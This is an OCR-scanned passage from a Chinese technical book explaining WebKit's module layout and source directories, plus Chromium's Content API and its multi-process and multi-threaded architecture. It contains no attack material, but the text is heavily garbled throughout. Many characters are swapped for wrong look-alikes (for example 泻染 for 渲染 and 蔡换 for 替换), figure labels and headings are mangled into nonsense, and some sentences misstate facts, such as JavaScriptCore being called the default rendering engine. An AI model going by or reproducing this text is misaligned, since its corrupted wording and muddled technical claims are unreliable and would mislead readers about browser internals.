如 何 设计 民 好 的 架构 来 利用 它们 以 获得 高 性 能 。 现 代 浏 览 右 的 功能 越 来 
越 剖 ， 性 能 要 求 也 越 来 越 高 ， 新 的 技术 不 断 被 引入 浏览 器 和 Web 平 台 ， 
这 也 大 大 增加 了 WebKit 和 浏览 器 的 复杂 性 。 











在 它们 二 者 之 上 的 束 是 WebKit 项 目 了 ， 图 中 己 经 把 它 细 分 为 两 层 ， 
每 层 包含 很 多 模块 ， 由 于 图 的 大 小 限制 ， 略 去 了 其 中 一 些 次 要 模块 。 图 
中 的 这 些 模块 支撑 了 第 2 半 介 绍 的 网 页 加 载 和 泻 染 过 程 。 


WebCore 部 分 包含 了 目前 被 各 个 浏览 器 所 使 用 的 WebKit 共 享 部 分 ， 
这 些 都 是 加 载 和 泻 染 网 页 的 基础 部 分 ， 它 们 必 不 可 少 ， 具 体 包 括 
HTML (解释 器 ) 、CSS〔 解 释 器 ) ~ SVG, DOM, WYL 
CRenderObject 树 、RenderLayer 树 等 ) ， 以 及 Inspector (Web 
Inspector、 调 试 网 页 ) 。 当 然 ， 这 些 共享 部 分 有 些 是 基础 框架 ， 其 背后 
的 支持 也 需要 各 个 平台 的 不 同 实现 。 举 个 例子 来 讲 ,，“ 藤 贴 板 ” 这 个 功能 
其 实 跟 平台 密切 相关 ， 在 WebKit 的 gtk 版 本 中 ， 它 就 依赖 于 gt 的 一 个 具 
体 实 现 。 细 心 的 读者 可 以 发 现 ，WebCore 这 些 部 分 主要 被 第 2 章 中 的 加 
载 和 演 染 过 程 的 第 一 、 二 阶段 所 使 用 。 





JavaScriptCore 引 擎 是 webKit 中 的 默认 JavaScript 引 擎 ， 也 残 是 说 一 
些 WebKit 的 移植 使 用 该 引擎 。 刚 开始 ， 它 的 性 能 不 是 很 好 ， 但 是 随 着 越 
来 越 多 的 优化 被 加 入 ， 现 在 的 性 能 已 变 得 非常 不 错 。 之 所 以 说 它 只 是 默 
认 的 ， 是 因为 它 不 是 唯一 并 且 是 可 蔡 换 的 。 事 实 上 ，WebKit 中 对 
JavaScript 引 擎 的 调用 是 独立 于 引擎 的 。 在 Google 的 Chromium 开 源 项 目 
中 ， 它 被 蔡 换 为 V8 引 擎 。 





WebKit Ports 指 的 是 webKit 中 的 非 共 享 部 分 ， 对 于 不 同 浏览 吉 使 用 


的 WebKit 来 说 ， 移 植 中 的 这 些 模 块 由 于 平台 差异 、 依 赖 的 第 三 方 库 和 需 
求 不 同等 方面 原因 ， 人 往往 按照 自己 的 方式 来 设计 和 实现 ， 这 就 产生 了 移 
植 部 分 ， 这 是 导致 众多 WebKit 版 本 的 行为 并 非 一 致 的 重要 原因 。 这 其 中 
包括 便 件 加 速 架构 、 网 络 栈 、 视 频 解 码 、 图 乒 解 码 等 。 后 面 我 们 用 移植 
表示 一 个 不 同 的 实现 ， 例 如 Qt 移植 表示 的 是 WebKit 的 Qt 版 ， 被 Qt 项 目 所 
使 用 。 这 一 部 分 非常 重要 ， 对 性 能 和 功能 影响 非常 大 ， 也 是 后 面 章 节 重 
点 关注 的 地 方 。 











在 WebCore 和 WebKit ”Ports 之 上 的 层 主要 是 提供 磐 入 式 编程 接口 ， 
这 些 散 入 式 接口 是 提供 给 浏览 器 调用 的 (当然 也 可 以 有 其 他 使 用 者 〉。 
图 中 有 左右 两 个 部 分 分 别 是 狭义 WebKit 的 接口 和 WebKit2 的 接口 。 因 为 
接口 与 具体 的 移植 有 关 ， 上 所 以 有 一 个 与 浏览 右 相 关 的 绑 定 层 。 绑 定 层 上 
面 就 是 WebKit 项 目 对 外 雄 露 的 接口 层 。 实 际 上 接口 层 的 定义 也 是 与 移植 
密切 相关 的 ， 而 不 是 WebKit 有 什么 统一 接口 。 











WebKit 还 有 一 个 部 分 在 图 中 没有 展现 出 来 ， 那 就 是 测试 用 例 ， 包 括 
布局 测试 用 例 (Layout Tests) 和 性 能 测试 用 例 (Performance Tests) , 
这 两 类 测试 包含 了 大 量 的 测试 用 例 和 期 望 结 果 。 虽 然 ， 不 同 的 WebKit 移 
植 对 应 的 测试 用 例 不 一 样 ， 总 体 上 来 讲 WebKit 移 植 还 是 共享 了 大 量 的 用 
例 。 为 了 保证 WebKit 的 代码 质量 ， 这 些 用 例 被 用 来 验证 泻 染 结果 的 正确 
性 。 每 个 浏览 器 所 用 的 WebKit 必 须 保证 能 够 编译 出 来 一 个 可 执行 程序 ， 
称 为 DumpRenderTree， 它 被 用 来 运行 测试 用 例 并 将 泻 染 结果 同期 望 结 
果 对 比 。 








WebKit 的 模块 确实 相当 多 ， 笔 者 希望 没有 把 大 家 卉 糊涂 ， 下 面 让 我 
们 一 起 通过 实践 来 理解 结构 图 中 的 众多 模块 。 


3.1.3 “WebKity 原 代码 结构 





如 果 读 者 下 载 了 WebKit 源 代码 ， 下 面 珑 可 以 跟着 笔者 一 起 查看 
WebKit 中 的 目录 结构 ， 以 便 更 好 地 理解 WebKit 的 架构 。 





WebKit 的 代码 非常 多 ， 大 概 超 过 500 万 行 代码 ， 规 模 相 当 的 庞大 ， 
笠 运 的 是 ， 它 的 目录 结构 非常 清晰 ， 通 过 目录 结构 基本 上 可 以 了 解 
WebKit 的 功能 模块 ， 当 然 ， 了 解 目录 结构 也 有 助 于 读者 理解 后 面 很 多 对 
模块 和 机 制 的 介绍 。 











图 3-2 显 示 的 是 主要 的 目录 结构 ， 包 括 一 级 目录 和 主要 的 二 级 目 
录 ， 其 中 省 去 了 一 些 次 要 目录 。 对 于 重要 的 三 级 目录 ， 读 者 可 以 伍 看 图 
3-3。 








WebKit/ 









































LayoutTests 各 种 各 样 的 测试 用 例 和 泻 染 期 望 结果 ， 包 括 文 本 和 图 片 
PerformanceTests 各 式 各 样 的 性 能 测试 基准 用 例 ， 包 括 著名 的 Sunspider 
Source 所 有 的 源 代码 都 在 其 中 ， 重 点 关注 的 代码 目录 
JavaScriptCore GAY JavaScript 引擎 
Platform Chromium 平台 相关 的 代码 ， 现 在 Chromium 部 分 已 经 被 移 除 
WSS WebCore 包括 的 模块 
WebKit WebKit 绑 定 和 接口 
WebKit2 WebKit2 绑 定 和 接口 
WTF 基础 类 库 ， 例 如 字符 串 、 容 器 等 
Tools 
DumpRenderTree 代码 和 编译 文件 用 于 生成 DumpRenderTree 
gdb 帮助 gdb 调试 的 Python 脚本 
Scripts 各 种 各 样 的 脚本 ， 用 来 编译 、 语 法 检查 、 代 码 提交 等 
TestWebKitAPI 测试 WebKit 嵌入 式 API 的 测试 代码 


图 3-2 WebKit 的 源 代码 目录 


WebKit/Source 

WebCore 
css CSS 解释 器 
dom DOM 节点 的 基础 类 及 树 结构 
html HTML 解释 器 和 DOM 节点 类 
inspector Web Inspector 的 实现 
loader 资源 加 载 器 、 绥 存 等 


与 页 而 相关 的 全 局 对 象 的 实现 ， 包 括 windows navigator 等 DOM 对 象 ， 
事件 ， 动 画 处 理 


page 

















platform 各 个 移植 的 代码 
storage 存储 的 共享 代码 
WebKit2 
efl efl 的 主 函数 ， 构 建 一 个 简单 的 浏览 器 ， 还 有 很 多 其 他 移植 的 代码 
cian Erocess 网 络 进程 相关 代码 
UIProcess UI 进程 相关 代码 
WebProcess Web 进程 相关 代码 


图 3-3 WebCore 和 WebKit2 代 码 结 构 





在 一 级 目录 中 ， 重 要 的 目录 有 四 个 ， 它 们 分 别 是 LayoutTests、 
PerformanceTests、Source 和 Tools。 对 于 该 层 下 的 其 他 目录 ， 读 者 可 以 
选择 性 忽略 。 对 于 我 们 来 说 ，Source 目 录 最 重要 ， 它 包括 了 后 面 章节 我 
们 要 分 析 的 几乎 所 有 部 分 。Source 目 录 的 子 目 录 中 ， 重 要 的 目录 包括 
JavaScriptCore、Platform、WebCore、WebKit、WebKit2 和 WTF， 见 图 
3-2。JavaScriptCore 是 默认 的 泻 染 引擎 ， 笔 者 会 在 第 9 章 做 详细 分 析 。 
Platform 本 来 是 Chromium 的 接口 代码 目录 之 一 ， 现 在 已 经 被 移 除了 。 
WebCore 就 是 图 3-1 中 模块 WebCore 对 应 的 相关 代码 ， 非 常 重要 。WebKit 
和 WebKit2 分 别 是 绑 定 和 骨 入 式 接口 层 。WTF 是 一 个 基础 类 库 ， 有 点 像 
C++stl 库 ， 其 中 包括 字符 串 操 作 、 各 种 容器 、 智 能 指针 、 线 程 、 算 法 








FY 
等 。 








接 下 来 的 重点 是 一 些 三 级 目录 ， 它 们 属于 二 级 目录 WebCore 和 
WebKit2。 读 者 会 发 现 图 3-1 中 WebCore 包 括 的 模块 尽 在 其 中 ， 而 且 按 目 
录 组 织 ， 例 如 CSS 解 释 器 、DOM、HTML 解 释 器 、 资 源 加 载 、 Web 
Inspector 等 ， 如 图 3-3 所 示 。 


WebKit2 主 要 包括 两 种 类 型 的 目录 ， 第 一 类 是 各 个 进程 的 代码 ， 例 
如 Web 进 程 、UI 进 程 、 网 络 进程 、 插 件 进程 和 它们 共享 的 代码 等 ， 第 二 
类 就 是 各 个 移植 的 一 个 简单 的 主 函 数 (main) 入 口 ， 拥 有 构建 一 个 基于 
WebKit2 接 口 的 最 简单 的 可 执行 程序 。 


同 在 目录 “WebKit/Source” 下 的 “WebKit* 目 录 这 里 就 不 介绍 了 ， 它 
同 “WebKit2” 目 录 结 构 类 似 ， 而 且 比 之 更 简单 。 


3.2 2£+ Blink) Chromium] ii, 2% 
结构 


3.2.1 Chromium 浏览 器 的 架构 及 模 
ER 


Chromium 也 是 基于 WebKit (Blink) 的 ， 而 且 在 WebKit 的 移植 部 分 
中 ，Chromium 也 做 了 很 多 有 趣 的 事情 ， 所 以 通过 Chromium 可 以 了 解 如 
何 基 于 WebKit 构 建 浏览 器 。 男 一 方面 ，Chromium 也 是 很 多 新 技术 的 创 
新 者 ， 它 将 很 多 先进 的 理念 引入 到 浏览 器 领域 。 为 此 ， 本 市 在 介绍 
Chromium 内 部 架构 、 模 块 等 基础 上 ， 给 读者 一 个 大 致 的 概念 ， 在 后 面 
介绍 WebKit 的 一 些 技术 时 ， 也 会 介绍 Chromium 的 WebKit 版 本 和 
Chromium 有 何 独 特 之 处 。 





Chromium 的 代码 非常 复杂 ， 模 块 非常 多 ， 结 构 也 不 是 特 别 清晰 ， 
非常 容易 让 人 迷惑 。 为 此 ， 为 了 方便 理解 ， 下 面 从 架构 和 模块 、 多 进程 
模型 和 多 线程 模型 等 角度 为 读者 一 一 剖析 其 中 的 “玄机 ”。 


3.2.1.1 架构 和 模块 
首先 要 熟悉 的 是 Chromium 的 架构 及 其 包含 的 模块 。 图 3-4 描 述 了 


Chromium 的 架构 和 主要 的 模块 。 从 图 中 可 以 看 到 ，Blink 只 是 其 中 的 一 
块 ， 和 它 并 列 的 还 有 众多 的 Chromium 模 块 ， 包 括 


GPU/CommandBuffer 〈 硬 件 加 速 架 构 ) ~ V8 JavaScript 引擎 、 沙 箱 模 


型 、CC (Chromium Compositor) 、IPC、UI 等 〈 还 有 很 多 并 没有 在 图 
中 显示 出 来 ) 。 


Chromium 浏览 器 Content Shell Android WebView 








Content 接口 


Content 模块 


Blink (WebKit) 





图 3-4 ”Chromium 模块 结构 图 


在 上 面 这 些 模块 之 上 的 束 是 著名 的 “Content 模 块 ? 和 “Content 

API (接口 )”， 它们 是 Chromium 对 泻 染 网 页 功能 的 抽象 。“Content” 的 

本 意 是 指 网 页 的 内 容 ， 这 里 是 指 用 来 泻 染 网 页 内 容 的 模块 。 说 到 这 里 ， 

读者 可 能 有 疑问 了 ，WebKit 不 束 是 泻 染 网 页 内 容 的 吗 ? 是 的 ， 说 的 没 

间 ， 没 有 Content 模 块 ， 浏 览 器 的 开发 者 也 可 以 在 WebKit 的 Chromium 移 
植 上 泻 染 网 页 内 容 ， 但 是 却 没有 办 法 获得 沙 箱 模 型 、 跨 进程 的 GPU 硬 件 
加 速 机 制 、 众 多 的 HIML5 功 能 ， 因 为 这 些 功 能 很 多 是 在 Content 层 里 实 
现 的 。 








“Content 模 块 ? 和 “Content AP 将 下 面 的 演 染 机 制 、 安 全 机 制 和 插件 
机 制 等 隐藏 起 来 ， 提 供 一 个 接口 层 。 该 接口 目前 被 上 层 模块 或 者 其 他 项 





目 使 用 ， 内 部 调用 者 包括 Chromium 浏 览 器 、Content Shell 等 ， 外 部 包括 


WA A 


CEF (Chromium Embedded Framework) 、Opera 浏 览 器 等 。 


“Chromium 浏 览 器 ”和 “Content Shell* 是 构建 在 Content API 之 上 的 两 
个 “浏览 器 *，Chromium 上 其 有 浏览 器 完整 的 功能 ， 也 就 是 我 们 编译 出 来 
能 看 到 的 浏览 器 式样 。 而 “Content Shell* 是 使 用 Content API 来 包装 的 一 
层 徐 单 的 * 壳 ”， 但 是 它 也 是 一 个 简单 的 “浏览 器 ”， 用 户 可 以 使 用 Content 
模块 来 泻 染 和 显示 网 页 内 容 。Content Shell 的 作用 很 明显 ， 其 一 可 以 用 
来 测试 Content 模 块 很 多 功能 的 正确 性 © ， 例 如 泻 染 、 硬 件 加 速 等 ， 其 
二 是 一 个 参考 ， 可 以 被 很 多 外 部 的 项 目 参 考 来 开发 基于 “Content APP HI 
浏览 器 或 者 各 种 类 型 的 项 目 。 


在 Android 系 统 上 ，Content Shell 的 作用 更 大 ， 这 是 因为 同 它 并 排 的 
左 侧 的 “Chromium 浏 览 器 ?部 分 的 代码 根本 就 没有 开源 ， 这 和 直接 导致 开 
发 者 只 能 依赖 Content Shell. 


还 有 一 个 上 面 故意 漏 掉 的 部 分 就 是 “Android WebView”， 它 是 为 了 
满足 Android 系 统 上 的 WebView 而 设计 的 ， 其 思想 是 利用 Chromium 的 实 
现 来 蔡 换 原来 Android 系 统 默认 的 WebView， 这 部 分 在 第 15 章 中 会 作 介 
绍 。 





3.2.1.2 多 进程 模型 


前 面 多 次 提 到 过 Chromium 的 多 进程 架构 ， 下 面谈 谈 它 的 好 处 。 相 
信 你 一 定 有 过 这 样 的 经 历 : 在 使 用 浏览 器 打开 很 多 个 页 面 的 时 候 ， 不 幸 
的 是 其 中 某 个 页 面 不 啊 应 或 者 月 误 了 ， 随 之 而 来 的 可 能 是 更 不 六 的 事 
一 一 其 他 所 有 页 面 也 都 不 响应 或 者 崩 尝 了 。 最 让 人 不 能 忍受 的 是 ， 其 中 














一 些 页 面 可 能 还 有 未 保存 或 者 未 发 送 的 信息 ! 








这 绝对 是 不 堪 回 首 的 过 去 。 但 是 ， 现 在 好 了 ， 很 多 现代 浏览 器 支持 
多 进程 模型 ， 这 个 模型 可 以 很 好 地 避免 上 面 的 问题 ， 虽 然 它 很 复杂 而 且 
也 有 上 自 吴 的 问题 ， 例 如 更 多 的 资源 消耗 ， 但 是 它 的 优势 也 是 非常 明显 
的 。 在 WebKit 内 核 之 上 ，Chromium 率 先 在 WebKit 之 外 引入 了 多 进程 模 
型 。 


多 进程 模型 在 不 可 避免 地 带 来 一 些 问题 和 复杂 性 的 同时 ， 也 带 来 了 
更 多 的 优势 ， 而 且 这 些 优 势 非常 的 重要 。 该 模型 至 少 带 来 三 点 好 处 : 其 
一 是 避免 因 单个 页 面 的 不 响应 或 者 般 溃 而 影响 整个 浏览 器 的 稳定 性 ， 特 
别 是 对 用 户 界 面 的 影响 ， 其 二 是 ， 当 第 三 方 插件 衣 溃 时 不 会 影响 页 面 或 
者 浏览 器 的 稳定 性 ， 这 时 因为 第 三 方 插件 也 被 使 用 单独 的 进程 来 运行 ; 
其 三 是 ， 它 方便 了 安全 模型 的 实施 ， 也 就 是 说 沙 箱 模型 是 基于 多 进程 架 
构 的 。 其 实 ， 这 很 大 程度 上 也 是 WebKit2 产 生 的 原因 。 那 么 ， 这 是 怎么 
做 到 的 呢 ? 





图 3-5 给 出 了 最 常用 的 Chromium 浏 览 器 多 进程 模型 ， 是 的 ， 你 没 看 
昔 “ 党 用 ”二 字 ， 因 为 Chromium 架 构 设 计 的 灵活 性 ， 使 用 者 可 以 通过 简 
单 的 设置 来 随意 改变 它 的 进程 模型 方式 。 图 中 方 框 代 表 进 程 ， 连 接线 代 
表 IPC 进 程 间 通信 。 这 些 连接 线 其 实 是 很 讲究 的 ， 它 表示 进程 存在 进程 
间 通 信 ， 如 果 没 有 ， 表 明 两 种 不 同类 型 的 进程 之 间 没 有 通信 。 例 如 
NPAPI 插 件 和 GPU 之 间 没 有 通信 ， 这 是 因为 NPAPI 是 一 种 上 古老 的 插件 标 
准 ， 它 没有 定义 使 用 GPU 进 行 加 速 的 接口 。 

















从 图 3-5 中 ， 读 者 可 以 看 到 Chromium 浏 览 器 主要 包括 以 下 进程 类 
型 。 


Browser 进 程 : 浏览 器 的 主 进程 ， 负 责 浏 览 右 界面 的 显示 、 各 个 页 
面 的 管理 ， 是 所 有 其 他 类 型 进程 的 祖先 ， 负 责 它 们 的 创建 和 销毁 等 
工作 ， 和 它 有 且 仅 有 一 个 。 图 3-5 Chromium 的 多 进程 模型 

Renderer 进 程 : 网 页 的 泻 染 进程 ， 负 责 页 面 的 泻 染 工作 ， 
Blink/WebKit 的 演 染 工作 主要 在 这 个 进程 中 完成 ， 可 能 有 多 个 ， 但 
是 Renderer 进 程 的 数量 是 否 同 用 户 打开 的 网 页 数量 一 致 呢 ? 答案 是 
不 一 定 。Chromium 设 计 了 灵活 的 机 制 ， 人 允许 用 户 配 置 ， 随 后 就 作 
介绍 。 此 外 ， 在 沙 箱 模型 启动 的 情况 下 ， 访 进程 可 能 会 发 生 一 些 改 
as 

NPAPI 插 件 进程 : 该 进程 是 为 NPAPI 类 型 的 插件 而 创建 的 。 其 创建 
的 基本 原则 是 每 种 类 型 的 插件 只 会 被 创建 一 次 ， 而 且 仅 当 使 用 时 才 
被 创建 。 当 有 多 个 网 页 需要 使 用 同一 种 类 型 的 插件 的 时 候 ， 例 如 很 
多 网 页 需要 使 用 Flash 插 件 ，Flash 插 件 的 进程 会 为 每 个 使 用 者 创建 
一 个 实例 ， 所 以 插件 进程 是 被 共享 的 。 

GPU 进程 : 最 多 只 有 一 个 ， 当 且 仅 当 GPU 硬 件 加 速 打开 的 时 候 才 
会 被 创建 ， 主 要 用 于 对 3D 图 形 加 速 调 用 的 实现 。 

Pepper 插件 进程 : 同 NPAPI 插 件 进程 ， 不 同 的 是 为 Pepper 插件 而 创 
建 的 进程 。 

其 他 类 型 的 进程 : 图 中 还 有 一 些 其 他 类 型 的 进程 没有 描述 出 来 ， 
例如 Linux 下 的 “Zygote” 进 程 ，Renderer 进 程 其 实 都 是 由 它 创建 而 
来 。 另 外 一 个 就 是 名 为 “Sandbox” 的 准备 进程 ， 这 在 安全 机 制 中 作 


进一步 的 介绍 。 











通过 上 面 的 讨论 ， 对 于 桌面 系统 (Windows、Linux、Mac OS) 中 
的 Chromium 浏 览 嚣 ， 它 们 的 进程 模型 总 结 后 包括 以 下 一 些 特征 。 





1. Browser 进 程 和 页 面 的 泻 染 是 分 开 的， 这 保证 了 页 面 的 温 染 导致 的 
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2. 每 个 网 页 是 独立 的 进程 ， 这 保证 了 页 面 之 间 相互 不 影响 。 

3. 插件 进程 也 是 独立 的 ， 插 件 本 里 的 问题 不 会 影响 浏览 占 主 界面 和 网 
页 。 


4. GPU 硬件 加 速 进程 也 是 独立 的 。 








经 过 这 些 分 机， 读者 应 该 理解 这 一 模型 为 什么 能 够 解决 本 节 开 始 时 
候 遇 到 的 问题 一 一 多 使 用 了 些 资源 ， 换 来 的 好 处 是 浏览 器 更 稳定 了 。 





上 面 的 模型 是 针对 桌面 版 的 Chromium， 而 对 于 Chromium 的 Android 
版 ， 主 体 进 程 模型 大 致 相同 ， 但 还 是 稍微 有 些 不 同 ， 主 要 指 的 是 GPU 进 
程 和 Renderer 进 程 (目前 ，Android 版 不 支持 插件 ， 所 以 也 就 没有 插件 进 
fE) 。 在 Android 平 台 上 ，GPU 进 程 演变 成 Browser 进 程 的 一 个 线程 ， 也 
就 是 GPU 线程 ， 这 得 益 于 其 灵活 的 架构 ， 主 要 目的 之 一 是 节省 资源 。 兄 
外 一 个 就 是 Renderer 进 程 ，Renderer 也 是 独立 的 进程 ， 但 是 会 演变 成 
Android 上 的 服务 〈service) 进程。 而 且 ， 由 于 Android 系 统 的 局 限 性 ， 
Renderer 进 程 的 数目 会 被 严格 限制 ， 这 束 涉 及 到 了 “影子 ”(Phantom) 标 
签 的 议题 。“ 影 子 ” 标 签 承 是 浏览 右 会 将 后 台 的 网 页 所 使 用 的 演 染 设施 都 
清除 了 ， 只 是 原来 的 一 个 影子 ， 当 用 户 再 次 切换 的 时 候 ， 网 页 需要 重新 
加 载 和 泻 染 。 








上 面 说 到 Chromium 人 允许 用 户 配置 Renderer 进 程 被 创建 的 方式 ， 下 面 
简单 地 介绍 一 下 模型 的 类 型 。 


e Process-per-site-instance: ”该 类 型 的 含义 是 为 每 一 个 页 面 都 创建 一 
个 独立 的 Render 进 程 ， 不 管 这 些 页 面 是 否 来 自 于 同一 域 。 举 个 例子 
来 讲 ， 例 如 ， 用 户 访 问 了 milado_nju 的 CSDN 博 客 (我 的 博客 ) ， 
然后 从 个 人 主页 打开 多 篇 文章 时 ， 每 篇 文章 的 页 面 都 是 该 域 的 一 个 

















实例 ， 因 而 它们 都 有 各 自 不 同 的 泻 染 进程 。 如 果 新 打开 CSDN 博 客 
的 主页 ， 那 么 就 是 男 一 个 实例 ， 会 重新 创建 进程 来 演 染 它 。 这 种 来 
的 好 处 是 每 个 页 面 互 不 影响 ， 坏 处 自然 是 资源 的 巨大 浪费 。 
Process-per-site: ”该 类 型 的 含义 是 属于 同一 个 域 的 页 面 共享 同一 个 
进程 ， 而 不 同属 一 个 域 的 页 面 则 分 属 不 同 的 进程 。 好 处 是 对 于 相同 
的 域 ， 进 程 可 以 共享 ， 内 存 消耗 相对 较 小 ， 坏 处 是 可 能 会 有 特别 大 
的 Renderer 进 程 。 读 者 可 以 在 命令 行 加 入 参数 --process-per-site 进 行 
尝试 。 

Process-per-tab: 该 类 型 的 含义 是 ，Chromium 为 每 个 标签 页 都 创 
建 一 个 独立 的 进程 ， 而 不 管 它们 是 否 是 不 同 域 不 同 实例 ， 这 也 是 
Chromium 的 默认 行为 ， 虽 然 会 浪费 资源 。 

Single process: ”该 类 型 的 含义 是 ，Chromium 不 为 页 面 创建 任何 独 
立 的 进程 ， 所 有 泻 染 工作 都 在 Browser 进 程 中 进行 ， 它 们 是 Browser 
进程 中 的 多 个 线程 。 但 是 这 个 类 型 在 保 面 系统 上 只 是 实验 性 质 并 且 
不 是 很 稳定 ， 因 而 一 般 不 推荐 使 用 ， 只 有 在 比较 单 进程 和 多 进程 时 
相对 有 用 ， 读 者 可 以 在 命令 行 加 入 参数 --single-process 来 尝试 它 。 
当然 在 Chromium 的 Android 版 本 上 ， 人 情况 再 一 次 不 一 样 。 在 Android 
WebView 中 ， 该 模式 被 采用 。 























3.2.1.3 ”Browser 进 程 和 Renderer 进 程 


为 Browser 进 程 和 Renderer 进 程 都 是 在 WebKit 的 接口 之 外 由 
Chromium 引 入 的 ， 所 以 这 里 有 必要 介绍 一 下 它们 是 如 何 利 用 WebKit 演 
染 网 页 的 ， 这 其 中 的 代码 层次 由 图 3-6 给 出 。 





浏览 器 的 用 户 界 面 


(src/chrome) 














Web Contents 页 面 内 容 
(src/content/browser/web_contents) 


Browser 
进程 


RendererHost 
(src/content/renderer host) 


Renderer Renderer 


进程 


(src/content/renderer) 


WebKit Ai b= 
(sre/webkit/ glue) 


WebKit 接口 层 
(WebKit/Source/WebkK it ) 





图 3-6 从 WebKit 接 口 层 到 用 户 界面 的 路 径 





最 下 面 的 就 是 WebKit 接 口 屋 ， 一 般 基于 WebKit 接 口 层 的 浏览 器 直 
接 在 上 面 构建 ， 而 没有 引入 复杂 的 多 进程 架构 。 





然后 ， 在 WebKit 接 口 层 上 面 就 是 Chromium 基 于 WebKit 的 接口 层 而 
引入 的 黏附 层 ， 它 的 出 现 主 要 是 因为 Chromium 中 的 一 些 类 型 和 WebKit 
内 部 不 一 致 ， 所 以 需要 一 个 简单 的 桥接 层 。 


再 上 面 的 就 是 Renderer， 它 主要 处 理 进程 间 通 信 ， 接 受 来 自 Browser 
进程 的 请 求 ， 并 调用 相应 的 WebKit 接 口 屋 。 同 时 ， 将 WebKit 的 处 理 结 
果 发 送 回 去 。 上 面 这 些 介 绍 的 层 都 是 在 Renderer 进 程 中 工作 的 。 


下 面 就 进入 了 Browser 进 程 ， 与 Renderer 相 对 应 的 就 是 
RendererHost， 其 目的 也 是 处 理 同 Renderer 进 程 之 间 的 通信 。 不 过 
RendererHost 是 给 Renderer 进 程 发 送 请 求 并 接收 来 自 Renderer 进 程 的 结 
R, 





Web Contents 表 示 的 就 是 网 页 的 内 容 ， 因 为 网 页 可 能 有 多 个 需要 绘 
制 的 内 容 ， 例 如 弹出 的 对 话 框 内 容 ， 所 以 这 里 是 “Contents”。 它 同时 包 
括 显 示 网 页 内 容 的 一 个 子 窗口 (在 果 面 系统 上 〉 ， 这 个 子 窗口 最 后 被 向 
入 浏览 器 的 用 户 界 面 ， 作 为 它 的 一 个 标签 页 。 通 过 上 面 的 介绍 ， 相 信 这 
里 面 的 关系 已 经 被 理 顺 了 。 那 么 ， 进 程 的 内 部 又 是 什么 情况 呢 ? 如 何在 
支持 进程 间 通 信 的 同时 又 能 支持 高 效 泻 染 或 者 用 户 事 件 啊 应 ? 答案 是 多 
线程 模型 。 


3.2.1.4 多 线程 模型 


每 个 进程 内 部 ， 都 有 很 多 的 线程 ， 那 么 Chromium 为 什么 要 这 样 做 
呢 ? 对 于 Browser 进 程 ，Chromium 的 官方 说 法 告诉 我 们 ， 多 线程 的 主要 
目的 就 是 为 了 保持 用 户 界 面 的 高 响应 度 ， 保 证 UI 线程 (Browser 进 程 中 
的 主线 程 ) 不 会 被 任何 其 他 费时 的 操作 阻碍 从 而 影响 了 对 用 户 操 作 的 响 
应 。 这 些 费 时 的 其 他 操作 很 多 ， 例 如 本 地 文件 读 写 、socket 读 写 、 数 据 
库 操 作 等 。 既 然 文件 读者 等 会 阻碍 其 他 操作 ， 那 好 ， 把 它们 放 在 单独 的 
线程 里 自己 忙 或 者 等 待 去 吧 ， 所 以 读者 就 看 到 那么 多 与 它们 相关 的 线 
程 。 而 在 Renderer 进 程 中 ，Chromium 则 不 让 其 他 操作 阻止 浑 染 线程 的 快 
速 执 行 。 更 甚 者 ， 为 了 利用 多 核 的 优势 ，Chromium 将 演 染 过 程 管线 
化 ， 这 样 可 以 让 泻 染 的 不 同 阶段 在 不 同 的 线程 执行 。 














图 3-7 展 示 了 主要 进程 中 的 重要 线程 信息 及 它们 之 间 是 如 何 工作 
的 。 事 实 上 ， 进 程 中 的 线程 远 远 不 止 这 些 ， 这 里 只 是 列举 了 其 中 两 个 重 
要 的 线程 。 


Browser 进程 


演 染 线程 








图 3-7 ”Chromium 的 多 线程 模型 


那么 ， 网 页 的 加 载 和 泻 染 过 程 在 图 中 模型 下 的 基本 工作 方式 如 以 下 


1. Browser 进 程 收 到 用 户 的 请 求 ， 首 先 由 UI 线程 处 理 ， 而 且 将 相应 的 
任务 转 给 IO 线 程 ， 它 随即 将 该 任务 传递 给 Renderer 进 程 。 

2. Renderer 进 程 的 IO 线 程 经 过 简单 解释 后 交 给 泻 染 线程 。 演 染 线 程 接 
受 请 求 ， 加 载 网 页 并 泻 染 网 页 ， 这 其 中 可 能 需要 Browser 进 程 获取 
资源 和 需要 GPU 进程 来 帮助 演 染 。 最 后 Renderer 进 程 将 结果 由 IO 线 
程 传递 给 Browser 进 程 。 

3. 最 后 ，Browser 进 程 接收 到 结果 并 将 结果 绘制 出 来 。 








接 下 来 ，Chromium 中 的 线程 间 如 何 通信 和 同步 呢 ? 这 是 多 线程 领 
域 中 一 个 非常 难 缠 的 问题 ， 因 为 这 会 造成 死 锁 或 者 资源 的 范 争 冲突 等 问 
题 。Chromium 精 心 设计 了 一 套 机 制 来 处 理 它们 ， 那 就 是 绝 大 多 数 的 场 
景 使 用 事件 和 一 种 Chromium 新 创建 的 任务 传递 机 制 ， 仅 在 非 用 不 可 的 
情况 下 才 使 用 锁 或 者 线程 安全 对 象 。 鸟 


还 可 以 继续 深入 下 去 ， 那 就 是 线程 内 部 的 消 恩 和 任务 是 如 何 处 理 的 
E? 这 其 实 并 不 容易 ， 因 为 它 严重 地 影响 了 用 户 界 面 的 啊 应 度 和 
JavaScript 执 行 的 效率 ， 我 们 在 第 9 章 介绍 JavaScript 引 擎 的 时 候 会 一 并 介 
绍 。 





3.2.1.5 “Content 接口 


Content 接 口 不 仅 提 供 了 一 层 对 多 进程 进行 泻 染 的 抽象 接口 ， 而 且 它 
从 诞生 以 来 一 个 重要 的 目标 就 是 要 文 持 所 有 的 HTML5 功 能 、GPU 人 硬件 
加 速 功能 和 沙 箱 机 制 ， 这 可 以 让 Content 接 口 的 使 用 者 们 不 需要 很 多 的 工 
作 即 可 得 到 很 强大 的 能 力 。 下 面 详细 介绍 一 下 Content 接 口 包含 哪些 部 


aje 














Content 接 口 的 相关 定义 文件 均 在 “content/public”* 目 录 下 ， 按 照 功能 
分 成 六 个 部 分 。 每 个 部 分 的 接口 一 般 也 可 以 分 成 两 类 ， 第 一 类 是 舱 入 者 
(embedder， 这 里 可 以 是 Chromium 浏 览 器 、CEF3 和 Content Shell) 调用 
的 接口 ， 男 一 类 是 舱 入 者 应 该 实现 的 回调 接口 ， 被 Content 接 口 的 内 部 实 
现 所 调用 ， 用 来 参与 具体 实现 的 逻辑 或 者 事件 的 监听 等 。 








e App 
这 部 分 主要 与 应 用 程序 或 者 进程 的 创建 和 初始 化 相关 ， 它 被 所 有 的 
进程 使 用 ， 用 来 处 理 一 些 进 程 的 公共 操作 ， 具 体 包括 两 种 类 型 ， 第 
